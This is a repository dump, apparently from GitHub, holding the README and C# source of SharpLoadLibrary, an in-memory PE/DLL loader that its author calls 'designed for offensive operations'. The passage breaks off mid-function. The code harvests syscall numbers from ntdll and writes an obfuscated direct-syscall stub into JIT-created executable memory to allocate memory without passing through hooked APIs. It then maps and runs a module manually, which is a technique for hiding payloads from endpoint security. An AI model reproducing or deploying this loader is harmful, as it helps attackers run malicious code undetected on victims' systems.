├── README.md └── SharpLoadLibrary.cs /README.md: -------------------------------------------------------------------------------- 1 | # SharpLoadLibrary 2 | SharpLoadLibrary is a program that imitates LoadLibrary, and its designed for offensive operations. For now, the program is hella unstable, and it has some problem loading/executing some system DLLs. SharpLoadLibrary doesnt have the ability to link the loaded module to PEB, yet. Oh and SharpLoadLibrary only supports 64-bit modules on a 64-bit system! Contributions and fixes is super appreciated. 3 | 4 | Inspired from [DarkLoadLibrary](https://github.com/bats3c/DarkLoadLibrary) by [bats3c](https://github.com/bats3c) 5 | -------------------------------------------------------------------------------- /SharpLoadLibrary.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime; 3 | using System.Runtime.InteropServices; 4 | using System.Collections.Generic; 5 | using System.Collections; 6 | using System.Diagnostics; 7 | using System.Linq; 8 | using System.Text; 9 | using System.IO; 10 | using System.Runtime.CompilerServices; 11 | using System.Reflection; 12 | using System.IO.MemoryMappedFiles; 13 | using System.Threading; 14 | using System.Security.Cryptography; 15 | 16 | public class PEReader 17 | { 18 | public struct IMAGE_DOS_HEADER 19 | { // DOS .EXE header 20 | public UInt16 e_magic; // Magic number 21 | public UInt16 e_cblp; // Bytes on last page of file 22 | public UInt16 e_cp; // Pages in file 23 | public UInt16 e_crlc; // Relocations 24 | public UInt16 e_cparhdr; // Size of header in paragraphs 25 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 26 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 27 | public UInt16 e_ss; // Initial (relative) SS value 28 | public UInt16 e_sp; // Initial SP value 29 | public UInt16 e_csum; // Checksum 30 | public UInt16 e_ip; // Initial IP value 31 | public UInt16 e_cs; // Initial (relative) CS value 32 | public UInt16 e_lfarlc; // File address of relocation table 33 | public UInt16 e_ovno; // Overlay number 34 | public UInt16 e_res_0; // Reserved words 35 | public UInt16 e_res_1; // Reserved words 36 | public UInt16 e_res_2; // Reserved words 37 | public UInt16 e_res_3; // Reserved words 38 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 39 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 40 | public UInt16 e_res2_0; // Reserved words 41 | public UInt16 e_res2_1; // Reserved words 42 | public UInt16 e_res2_2; // Reserved words 43 | public UInt16 e_res2_3; // Reserved words 44 | public UInt16 e_res2_4; // Reserved words 45 | public UInt16 e_res2_5; // Reserved words 46 | public UInt16 e_res2_6; // Reserved words 47 | public UInt16 e_res2_7; // Reserved words 48 | public UInt16 e_res2_8; // Reserved words 49 | public UInt16 e_res2_9; // Reserved words 50 | public UInt32 e_lfanew; // File address of new exe header 51 | } 52 | 53 | [StructLayout(LayoutKind.Sequential)] 54 | public struct IMAGE_DATA_DIRECTORY 55 | { 56 | public UInt32 VirtualAddress; 57 | public UInt32 Size; 58 | } 59 | 60 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 61 | public struct IMAGE_OPTIONAL_HEADER32 62 | { 63 | public UInt16 Magic; 64 | public Byte MajorLinkerVersion; 65 | public Byte MinorLinkerVersion; 66 | public UInt32 SizeOfCode; 67 | public UInt32 SizeOfInitializedData; 68 | public UInt32 SizeOfUninitializedData; 69 | public UInt32 AddressOfEntryPoint; 70 | public UInt32 BaseOfCode; 71 | public UInt32 BaseOfData; 72 | public UInt32 ImageBase; 73 | public UInt32 SectionAlignment; 74 | public UInt32 FileAlignment; 75 | public UInt16 MajorOperatingSystemVersion; 76 | public UInt16 MinorOperatingSystemVersion; 77 | public UInt16 MajorImageVersion; 78 | public UInt16 MinorImageVersion; 79 | public UInt16 MajorSubsystemVersion; 80 | public UInt16 MinorSubsystemVersion; 81 | public UInt32 Win32VersionValue; 82 | public UInt32 SizeOfImage; 83 | public UInt32 SizeOfHeaders; 84 | public UInt32 CheckSum; 85 | public UInt16 Subsystem; 86 | public UInt16 DllCharacteristics; 87 | public UInt32 SizeOfStackReserve; 88 | public UInt32 SizeOfStackCommit; 89 | public UInt32 SizeOfHeapReserve; 90 | public UInt32 SizeOfHeapCommit; 91 | public UInt32 LoaderFlags; 92 | public UInt32 NumberOfRvaAndSizes; 93 | 94 | public IMAGE_DATA_DIRECTORY ExportTable; 95 | public IMAGE_DATA_DIRECTORY ImportTable; 96 | public IMAGE_DATA_DIRECTORY ResourceTable; 97 | public IMAGE_DATA_DIRECTORY ExceptionTable; 98 | public IMAGE_DATA_DIRECTORY CertificateTable; 99 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 100 | public IMAGE_DATA_DIRECTORY Debug; 101 | public IMAGE_DATA_DIRECTORY Architecture; 102 | public IMAGE_DATA_DIRECTORY GlobalPtr; 103 | public IMAGE_DATA_DIRECTORY TLSTable; 104 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 105 | public IMAGE_DATA_DIRECTORY BoundImport; 106 | public IMAGE_DATA_DIRECTORY IAT; 107 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 108 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 109 | public IMAGE_DATA_DIRECTORY Reserved; 110 | } 111 | 112 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 113 | public struct IMAGE_OPTIONAL_HEADER64 114 | { 115 | public UInt16 Magic; 116 | public Byte MajorLinkerVersion; 117 | public Byte MinorLinkerVersion; 118 | public UInt32 SizeOfCode; 119 | public UInt32 SizeOfInitializedData; 120 | public UInt32 SizeOfUninitializedData; 121 | public UInt32 AddressOfEntryPoint; 122 | public UInt32 BaseOfCode; 123 | public UInt64 ImageBase; 124 | public UInt32 SectionAlignment; 125 | public UInt32 FileAlignment; 126 | public UInt16 MajorOperatingSystemVersion; 127 | public UInt16 MinorOperatingSystemVersion; 128 | public UInt16 MajorImageVersion; 129 | public UInt16 MinorImageVersion; 130 | public UInt16 MajorSubsystemVersion; 131 | public UInt16 MinorSubsystemVersion; 132 | public UInt32 Win32VersionValue; 133 | public UInt32 SizeOfImage; 134 | public UInt32 SizeOfHeaders; 135 | public UInt32 CheckSum; 136 | public UInt16 Subsystem; 137 | public UInt16 DllCharacteristics; 138 | public UInt64 SizeOfStackReserve; 139 | public UInt64 SizeOfStackCommit; 140 | public UInt64 SizeOfHeapReserve; 141 | public UInt64 SizeOfHeapCommit; 142 | public UInt32 LoaderFlags; 143 | public UInt32 NumberOfRvaAndSizes; 144 | 145 | public IMAGE_DATA_DIRECTORY ExportTable; 146 | public IMAGE_DATA_DIRECTORY ImportTable; 147 | public IMAGE_DATA_DIRECTORY ResourceTable; 148 | public IMAGE_DATA_DIRECTORY ExceptionTable; 149 | public IMAGE_DATA_DIRECTORY CertificateTable; 150 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 151 | public IMAGE_DATA_DIRECTORY Debug; 152 | public IMAGE_DATA_DIRECTORY Architecture; 153 | public IMAGE_DATA_DIRECTORY GlobalPtr; 154 | public IMAGE_DATA_DIRECTORY TLSTable; 155 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 156 | public IMAGE_DATA_DIRECTORY BoundImport; 157 | public IMAGE_DATA_DIRECTORY IAT; 158 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 159 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 160 | public IMAGE_DATA_DIRECTORY Reserved; 161 | } 162 | 163 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 164 | public struct IMAGE_FILE_HEADER 165 | { 166 | public UInt16 Machine; 167 | public UInt16 NumberOfSections; 168 | public UInt32 TimeDateStamp; 169 | public UInt32 PointerToSymbolTable; 170 | public UInt32 NumberOfSymbols; 171 | public UInt16 SizeOfOptionalHeader; 172 | public UInt16 Characteristics; 173 | } 174 | 175 | [StructLayout(LayoutKind.Explicit)] 176 | public struct IMAGE_SECTION_HEADER 177 | { 178 | [FieldOffset(0)] 179 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 180 | public char[] Name; 181 | [FieldOffset(8)] 182 | public UInt32 VirtualSize; 183 | [FieldOffset(12)] 184 | public UInt32 VirtualAddress; 185 | [FieldOffset(16)] 186 | public UInt32 SizeOfRawData; 187 | [FieldOffset(20)] 188 | public UInt32 PointerToRawData; 189 | [FieldOffset(24)] 190 | public UInt32 PointerToRelocations; 191 | [FieldOffset(28)] 192 | public UInt32 PointerToLinenumbers; 193 | [FieldOffset(32)] 194 | public UInt16 NumberOfRelocations; 195 | [FieldOffset(34)] 196 | public UInt16 NumberOfLinenumbers; 197 | [FieldOffset(36)] 198 | public DataSectionFlags Characteristics; 199 | 200 | public string Section 201 | { 202 | get { 203 | int i = Name.Length - 1; 204 | while (Name[i] == 0) { 205 | --i; 206 | } 207 | char[] NameCleaned = new char[i+1]; 208 | Array.Copy(Name, NameCleaned, i+1); 209 | return new string(NameCleaned); 210 | } 211 | } 212 | } 213 | 214 | [StructLayout(LayoutKind.Sequential)] 215 | public struct IMAGE_BASE_RELOCATION 216 | { 217 | public uint VirtualAdress; 218 | public uint SizeOfBlock; 219 | } 220 | 221 | [Flags] 222 | public enum DataSectionFlags : uint 223 | { 224 | 225 | Stub = 0x00000000, 226 | 227 | } 228 | 229 | 230 | /// The DOS header 231 | 232 | private IMAGE_DOS_HEADER dosHeader; 233 | 234 | /// The file header 235 | 236 | private IMAGE_FILE_HEADER fileHeader; 237 | 238 | /// Optional 32 bit file header 239 | 240 | private IMAGE_OPTIONAL_HEADER32 optionalHeader32; 241 | 242 | /// Optional 64 bit file header 243 | 244 | private IMAGE_OPTIONAL_HEADER64 optionalHeader64; 245 | 246 | /// Image Section headers. Number of sections is in the file header. 247 | 248 | private IMAGE_SECTION_HEADER[] imageSectionHeaders; 249 | 250 | private byte[] rawbytes; 251 | 252 | 253 | 254 | public PEReader(string filePath) 255 | { 256 | // Read in the DLL or EXE and get the timestamp 257 | using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) 258 | { 259 | BinaryReader reader = new BinaryReader(stream); 260 | dosHeader = FromBinaryReader(reader); 261 | 262 | // Add 4 bytes to the offset 263 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 264 | 265 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 266 | fileHeader = FromBinaryReader(reader); 267 | if (this.Is32BitHeader) 268 | { 269 | optionalHeader32 = FromBinaryReader(reader); 270 | } 271 | else 272 | { 273 | optionalHeader64 = FromBinaryReader(reader); 274 | } 275 | 276 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 277 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 278 | { 279 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 280 | } 281 | 282 | rawbytes = System.IO.File.ReadAllBytes(filePath); 283 | 284 | } 285 | } 286 | 287 | public PEReader(byte[] fileBytes) 288 | { 289 | // Read in the DLL or EXE and get the timestamp 290 | using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) 291 | { 292 | BinaryReader reader = new BinaryReader(stream); 293 | dosHeader = FromBinaryReader(reader); 294 | 295 | // Add 4 bytes to the offset 296 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 297 | 298 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 299 | fileHeader = FromBinaryReader(reader); 300 | if (this.Is32BitHeader) 301 | { 302 | optionalHeader32 = FromBinaryReader(reader); 303 | } 304 | else 305 | { 306 | optionalHeader64 = FromBinaryReader(reader); 307 | } 308 | 309 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 310 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 311 | { 312 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 313 | } 314 | 315 | rawbytes = fileBytes; 316 | 317 | } 318 | } 319 | 320 | 321 | public static T FromBinaryReader(BinaryReader reader) 322 | { 323 | // Read in a byte array 324 | byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); 325 | 326 | // Pin the managed memory while, copy it out the data, then unpin it 327 | GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); 328 | T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); 329 | handle.Free(); 330 | 331 | return theStructure; 332 | } 333 | 334 | public bool Is32BitHeader 335 | { 336 | get 337 | { 338 | UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; 339 | return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; 340 | } 341 | } 342 | 343 | 344 | public IMAGE_FILE_HEADER FileHeader 345 | { 346 | get 347 | { 348 | return fileHeader; 349 | } 350 | } 351 | 352 | 353 | /// Gets the optional header 354 | 355 | public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 356 | { 357 | get 358 | { 359 | return optionalHeader32; 360 | } 361 | } 362 | 363 | 364 | /// Gets the optional header 365 | 366 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 367 | { 368 | get 369 | { 370 | return optionalHeader64; 371 | } 372 | } 373 | 374 | public IMAGE_SECTION_HEADER[] ImageSectionHeaders 375 | { 376 | get 377 | { 378 | return imageSectionHeaders; 379 | } 380 | } 381 | 382 | public byte[] RawBytes 383 | { 384 | get 385 | { 386 | return rawbytes; 387 | } 388 | 389 | } 390 | 391 | } 392 | 393 | public class SysGate { 394 | 395 | public bool IsGateReady = false; 396 | 397 | public bool IsSyscallReady = false; 398 | 399 | public IntPtr GatePositionAddress = IntPtr.Zero; 400 | 401 | public Dictionary SyscallTableEntries = new Dictionary(); 402 | 403 | public struct SyscallTableEntry { 404 | public string Name; 405 | public UInt64 Hash; 406 | public Int64 ExportAddress; 407 | public Int16 SyscallID; 408 | } 409 | 410 | [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] 411 | private static UInt32 JITMeDaddy() { 412 | return new UInt32(); 413 | } 414 | 415 | public static UInt64 GetFunctionDJB2Hash(string FunctionName) { 416 | if (string.IsNullOrEmpty(FunctionName)) 417 | return 0; 418 | 419 | UInt64 hash = 0x7734773477347734; 420 | foreach (char c in FunctionName) 421 | hash = ((hash << 0x5) + hash) + (byte)c; 422 | 423 | return hash; 424 | } 425 | 426 | public static unsafe void Copy(byte[] source, int startIndex, IntPtr destination, int length) { 427 | if (source == null || source.Length == 0 || destination == IntPtr.Zero || length == 0) { 428 | throw new ArgumentNullException("Exception : One or more of the arguments are zero/null!"); 429 | } 430 | if ((startIndex + length) > source.Length) { 431 | throw new ArgumentOutOfRangeException("Exception : startIndex and length exceeds the size of source bytes!"); 432 | } 433 | int targetIndex = 0; 434 | byte* TargetByte = (byte*)(destination.ToPointer()); 435 | for (int sourceIndex = startIndex; sourceIndex < (startIndex + length); sourceIndex++) { 436 | *(TargetByte + targetIndex) = source[sourceIndex]; 437 | targetIndex++; 438 | } 439 | } 440 | 441 | public bool Gate(UInt64 Hash) { 442 | if (!this.IsGateReady || GatePositionAddress == IntPtr.Zero) { 443 | bool result = this.PrepareGateSpace(); 444 | if (!result) { 445 | Console.WriteLine("Failed to prepare gate space!"); 446 | return false; 447 | } 448 | } 449 | 450 | if (!this.SyscallTableEntries.ContainsKey(Hash)) 451 | return false; 452 | Int16 SyscallID = this.SyscallTableEntries[Hash].SyscallID; 453 | 454 | byte[] stub = new byte[24] { // a bit of obfuscation, i know it is an eyesore 455 | Convert.ToByte("4C", 16), Convert.ToByte("8B", 16), Convert.ToByte("D1", 16), 456 | Convert.ToByte("B8", 16), (byte)SyscallID, (byte)(SyscallID >> 8), Convert.ToByte("00", 16), Convert.ToByte("00", 16), 457 | Convert.ToByte("F6", 16), Convert.ToByte("04", 16), Convert.ToByte("25", 16), Convert.ToByte("08", 16), Convert.ToByte("03", 16), Convert.ToByte("FE", 16), Convert.ToByte("7F", 16), Convert.ToByte("01", 16), 458 | Convert.ToByte("75", 16), Convert.ToByte("03", 16), 459 | Convert.ToByte("0F", 16), Convert.ToByte("05", 16), 460 | Convert.ToByte("C3", 16), 461 | Convert.ToByte("CD", 16), Convert.ToByte("2E", 16), 462 | Convert.ToByte("C3", 16) 463 | }; 464 | 465 | Copy(stub, 0, this.GatePositionAddress, stub.Length); 466 | Array.Clear(stub, 0, stub.Length); // clean up 467 | return true; 468 | } 469 | 470 | public bool PrepareGateSpace() { 471 | // Find and JIT the method to generate RWX space 472 | MethodInfo method = typeof(SysGate).GetMethod("JITMeDaddy", BindingFlags.Static | BindingFlags.NonPublic); 473 | if (method == null) { 474 | Console.WriteLine("Unable to find the method"); 475 | return false; 476 | } 477 | RuntimeHelpers.PrepareMethod(method.MethodHandle); 478 | 479 | IntPtr pMethod = method.MethodHandle.GetFunctionPointer(); 480 | 481 | this.GatePositionAddress = (IntPtr)pMethod; // this works fine 482 | this.IsGateReady = true; 483 | return true; 484 | } 485 | 486 | public void CollectSyscalls() { 487 | if (IsSyscallReady) { 488 | this.ResetEntries(); 489 | } 490 | 491 | IntPtr ModuleBase = (Process.GetCurrentProcess().Modules.Cast().Where(x => "ntdll.dll".Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress); 492 | try { 493 | // Traverse the PE header in memory 494 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 495 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 496 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 497 | Int64 pExport = 0; 498 | if (Magic == 0x010b) { 499 | pExport = OptHeader + 0x60; 500 | } 501 | else { 502 | pExport = OptHeader + 0x70; 503 | } 504 | 505 | // Read -> IMAGE_EXPORT_DIRECTORY 506 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 507 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 508 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 509 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 510 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 511 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 512 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 513 | 514 | List TempNtFunctionList = new List(); 515 | 516 | for (int i = 0; i < NumberOfNames; i++) { 517 | string CurrentFunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 518 | Int32 CurrentFunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 519 | Int32 CurrentFunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (CurrentFunctionOrdinal - OrdinalBase)))); 520 | IntPtr CurrentFunctionPtr = (IntPtr)((Int64)ModuleBase + CurrentFunctionRVA); 521 | 522 | if (CurrentFunctionName.StartsWith("Nt") && !CurrentFunctionName.StartsWith("Ntdll")) { 523 | SyscallTableEntry currententrytable = new SyscallTableEntry(); 524 | currententrytable.Name = CurrentFunctionName; 525 | currententrytable.ExportAddress = (Int64)CurrentFunctionPtr; 526 | currententrytable.Hash = GetFunctionDJB2Hash(CurrentFunctionName); 527 | TempNtFunctionList.Add(currententrytable); 528 | } 529 | } 530 | 531 | TempNtFunctionList = TempNtFunctionList.OrderBy(o => o.ExportAddress).ToList(); // order by address 532 | TempNtFunctionList = TempNtFunctionList.GroupBy(x => x.ExportAddress).Select(x => x.First()).ToList(); // remove duplicate if exist 533 | 534 | for (short i = 0; i < TempNtFunctionList.Count; i++) { 535 | SyscallTableEntry currententrytable = new SyscallTableEntry(); 536 | currententrytable.Name = TempNtFunctionList[i].Name; 537 | currententrytable.ExportAddress = TempNtFunctionList[i].ExportAddress; 538 | currententrytable.SyscallID = i; // assign the syscall IDs 539 | currententrytable.Hash = TempNtFunctionList[i].Hash; 540 | this.SyscallTableEntries.Add(TempNtFunctionList[i].Hash, currententrytable); 541 | } 542 | this.IsSyscallReady = true; 543 | }catch { } 544 | } 545 | 546 | public void ResetEntries() { 547 | this.SyscallTableEntries.Clear(); 548 | this.IsSyscallReady = false; 549 | } 550 | } 551 | 552 | public class SharpLoadLibrary { 553 | 554 | [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)] 555 | static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); 556 | 557 | [DllImport("kernel32.dll")] 558 | static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); 559 | 560 | [DllImport("kernel32.dll", EntryPoint = "RtlAddFunctionTable", CallingConvention = CallingConvention.Cdecl)] 561 | public static extern bool RtlAddFunctionTable(IntPtr FunctionTable, UInt32 EntryCount, IntPtr BaseAddress); 562 | 563 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 564 | public delegate UInt32 NTAVM(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect); 565 | 566 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 567 | public delegate UInt32 NTPVM(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection); 568 | 569 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 570 | public delegate void IMAGE_TLS_CALLBACK_Delegate(IntPtr DllHandle, Int32 Reason, IntPtr Reserved); 571 | 572 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 573 | public delegate bool DllMainDelegate(IntPtr DllHandle, Int32 Reason, IntPtr Reserved); 574 | 575 | public static UInt32 PAGE_READWRITE = 0x04; 576 | public static UInt32 PAGE_EXECUTE_READ = 0x20; 577 | public static UInt32 PAGE_NOACCESS = 0x01; 578 | public static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 579 | public static UInt32 PAGE_READONLY = 0x02; 580 | public static UInt32 PAGE_EXECUTE = 0x10; 581 | 582 | public static uint IMAGE_SCN_MEM_EXECUTE = 0x20000000; 583 | public static uint IMAGE_SCN_MEM_READ = 0x40000000; 584 | public static uint IMAGE_SCN_MEM_WRITE = 0x80000000; 585 | 586 | [Flags] 587 | public enum AllocationType : ulong 588 | { 589 | Commit = 0x1000, 590 | Reserve = 0x2000, 591 | Decommit = 0x4000, 592 | Release = 0x8000, 593 | Reset = 0x80000, 594 | Physical = 0x400000, 595 | TopDown = 0x100000, 596 | WriteWatch = 0x200000, 597 | LargePages = 0x20000000 598 | }; 599 | 600 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) { 601 | IntPtr FunctionPtr = IntPtr.Zero; 602 | try { 603 | // Traverse the PE header in memory 604 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 605 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 606 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 607 | Int64 pExport = 0; 608 | if (Magic == 0x010b) { 609 | pExport = OptHeader + 0x60; 610 | } 611 | else { 612 | pExport = OptHeader + 0x70; 613 | } 614 | 615 | // Read -> IMAGE_EXPORT_DIRECTORY 616 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 617 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 618 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 619 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 620 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 621 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 622 | 623 | // Loop the array of export name RVA's 624 | for (int i = 0; i < NumberOfNames; i++) { 625 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 626 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) { 627 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 628 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 629 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 630 | break; 631 | } 632 | } 633 | } 634 | catch { 635 | // Catch parser failure 636 | throw new InvalidOperationException("Failed to parse module exports."); 637 | } 638 | return FunctionPtr; 639 | } 640 | 641 | public static bool IsValidPE(byte[] filebytes) { 642 | Int32 PESignatureOffset = 0; 643 | try { PESignatureOffset = BitConverter.ToInt32(filebytes, (int)0x3C); }catch { 644 | return false; 645 | } 646 | return (filebytes[PESignatureOffset] == 0x50 && filebytes[PESignatureOffset + 1] == 0x45); 647 | } 648 | 649 | public static IntPtr Main(byte[] filebytes) { 650 | if (!IsValidPE(filebytes)) { 651 | Console.WriteLine("Not a valid PE, skipping..."); 652 | return IntPtr.Zero; 653 | } 654 | 655 | PEReader PE = new PEReader(filebytes); 656 | if (PE.Is32BitHeader) { 657 | Console.WriteLine("Oopsie doopsie,this program doesnt support 32-bit PE,otherwise it will make the program go fucky wucky!"); 658 | return IntPtr.Zero; 659 | } 660 | 661 | Console.WriteLine("Resolving syscalls needed..."); 662 | SysGate sysgate = new SysGate(); 663 | sysgate.PrepareGateSpace(); 664 | sysgate.CollectSyscalls(); 665 | 666 | Console.WriteLine("Mapping PE..."); 667 | IntPtr PEBase = MapPEToMemory(PE, sysgate); 668 | Console.WriteLine("Resolving imports..."); 669 | ResolveImport(PEBase); 670 | Console.WriteLine("Resolving delay-imports..."); 671 | ResolveDelayedImport(PEBase); 672 | Console.WriteLine("Setting memory protections..."); 673 | SetMemoryProtections(PEBase, PE, sysgate); 674 | Console.WriteLine("Executing TLS callbacks..."); 675 | ExecuteTLSCallback(PEBase); 676 | Console.WriteLine("Registering exception handler..."); 677 | RegisterExceptionHandler(PEBase); 678 | Console.WriteLine("Executing entry point..."); 679 | ExecuteEntryPoint(PEBase, PE); 680 | 681 | return PEBase; 682 | } 683 | 684 | public static IntPtr MapPEToMemory(PEReader PE, SysGate sysgate) { 685 | NTAVM fSyscallNTAVM = (NTAVM)Marshal.GetDelegateForFunctionPointer(sysgate.GatePositionAddress, typeof(NTAVM)); 686 | 687 | // allocate space for the PE 688 | IntPtr PEBase = IntPtr.Zero; 689 | IntPtr PERegionSize = (IntPtr)PE.OptionalHeader64.SizeOfImage; 690 | sysgate.Gate(SysGate.GetFunctionDJB2Hash("NtAllocateVirtualMemory")); 691 | fSyscallNTAVM((IntPtr)(-1), ref PEBase, IntPtr.Zero, ref PERegionSize, (UInt32)(AllocationType.Commit | AllocationType.Reserve), (UInt32)PAGE_READWRITE); 692 | 693 | // copy headers 694 | int PESizeOfHeaders = (int)PE.OptionalHeader64.SizeOfHeaders; 695 | Marshal.Copy(PE.RawBytes, 0, PEBase, PESizeOfHeaders); 696 | 697 | //Copy Sections 698 | for (int i = 0; i < PE.FileHeader.NumberOfSections; i++) { 699 | IntPtr pVASectionBase = (IntPtr)((long)(PEBase.ToInt64() + (int)PE.ImageSectionHeaders[i].VirtualAddress)); 700 | Marshal.Copy(PE.RawBytes, (int)PE.ImageSectionHeaders[i].PointerToRawData, pVASectionBase, (int)PE.ImageSectionHeaders[i].VirtualSize); 701 | } 702 | 703 | //Perform Base Relocation 704 | long currentbase = (long)PEBase.ToInt64(); 705 | long delta = (long)(currentbase - (long)PE.OptionalHeader64.ImageBase); 706 | //Modify Memory Based On Relocation Table 707 | IntPtr relocationTable = (IntPtr)((long)(PEBase.ToInt64() + (int)PE.OptionalHeader64.BaseRelocationTable.VirtualAddress)); 708 | PEReader.IMAGE_BASE_RELOCATION relocationEntry = new PEReader.IMAGE_BASE_RELOCATION(); 709 | relocationEntry = (PEReader.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(PEReader.IMAGE_BASE_RELOCATION)); 710 | int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(PEReader.IMAGE_BASE_RELOCATION)); 711 | IntPtr nextEntry = relocationTable; 712 | int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; 713 | IntPtr offset = relocationTable; 714 | while (true) 715 | { 716 | 717 | PEReader.IMAGE_BASE_RELOCATION relocationNextEntry = new PEReader.IMAGE_BASE_RELOCATION(); 718 | IntPtr x = (IntPtr)((long)(relocationTable.ToInt64() + (int)sizeofNextBlock)); 719 | relocationNextEntry = (PEReader.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(PEReader.IMAGE_BASE_RELOCATION)); 720 | IntPtr dest = (IntPtr)((long)(PEBase.ToInt64() + (int)relocationEntry.VirtualAdress)); 721 | for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) 722 | { 723 | IntPtr patchAddr; 724 | UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); 725 | UInt16 type = 